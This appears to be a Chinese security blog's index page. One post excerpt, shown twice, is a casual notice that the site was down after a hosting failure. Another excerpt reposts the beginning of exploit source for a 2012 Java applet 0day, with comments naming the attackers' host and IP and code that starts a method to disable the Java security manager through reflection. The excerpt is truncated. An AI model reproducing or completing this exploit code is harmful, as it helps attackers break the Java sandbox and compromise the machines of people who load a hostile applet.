关于今日博客无法访问
唉 遇到了个比较坑爹的IDC 好蛋疼。。 貌似是IDC的服务器挂了导致俺博客也挂了。。直接就让我重装系统。。也木有啥补救措施。。 幸亏我天天备份。。 现在这个主机的速度应该比那个要快一倍左右。。不知大家感觉到木有:P 最后感谢大家关注俺的博客......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
关于今日博客无法访问
唉 遇到了个比较坑爹的IDC 好蛋疼。。 貌似是IDC的服务器挂了导致俺博客也挂了。。直接就让我重装系统。。也木有啥补救措施。。 幸亏我天天备份。。 现在这个主机的速度应该比那个要快一倍左右。。不知大家感觉到木有:P 最后感谢大家关注俺的博客......
阅读全文 →传说中最新的Java 0day? 目测少个package
传说中的Java 0day? 目测少个package // CVE-2012-XXXX Java 0day // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // secret host / ip : ok.aa24.net / 59.120.154.62 // regurgitated by jduck // probably a metasploit module soon... package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions......
阅读全文 →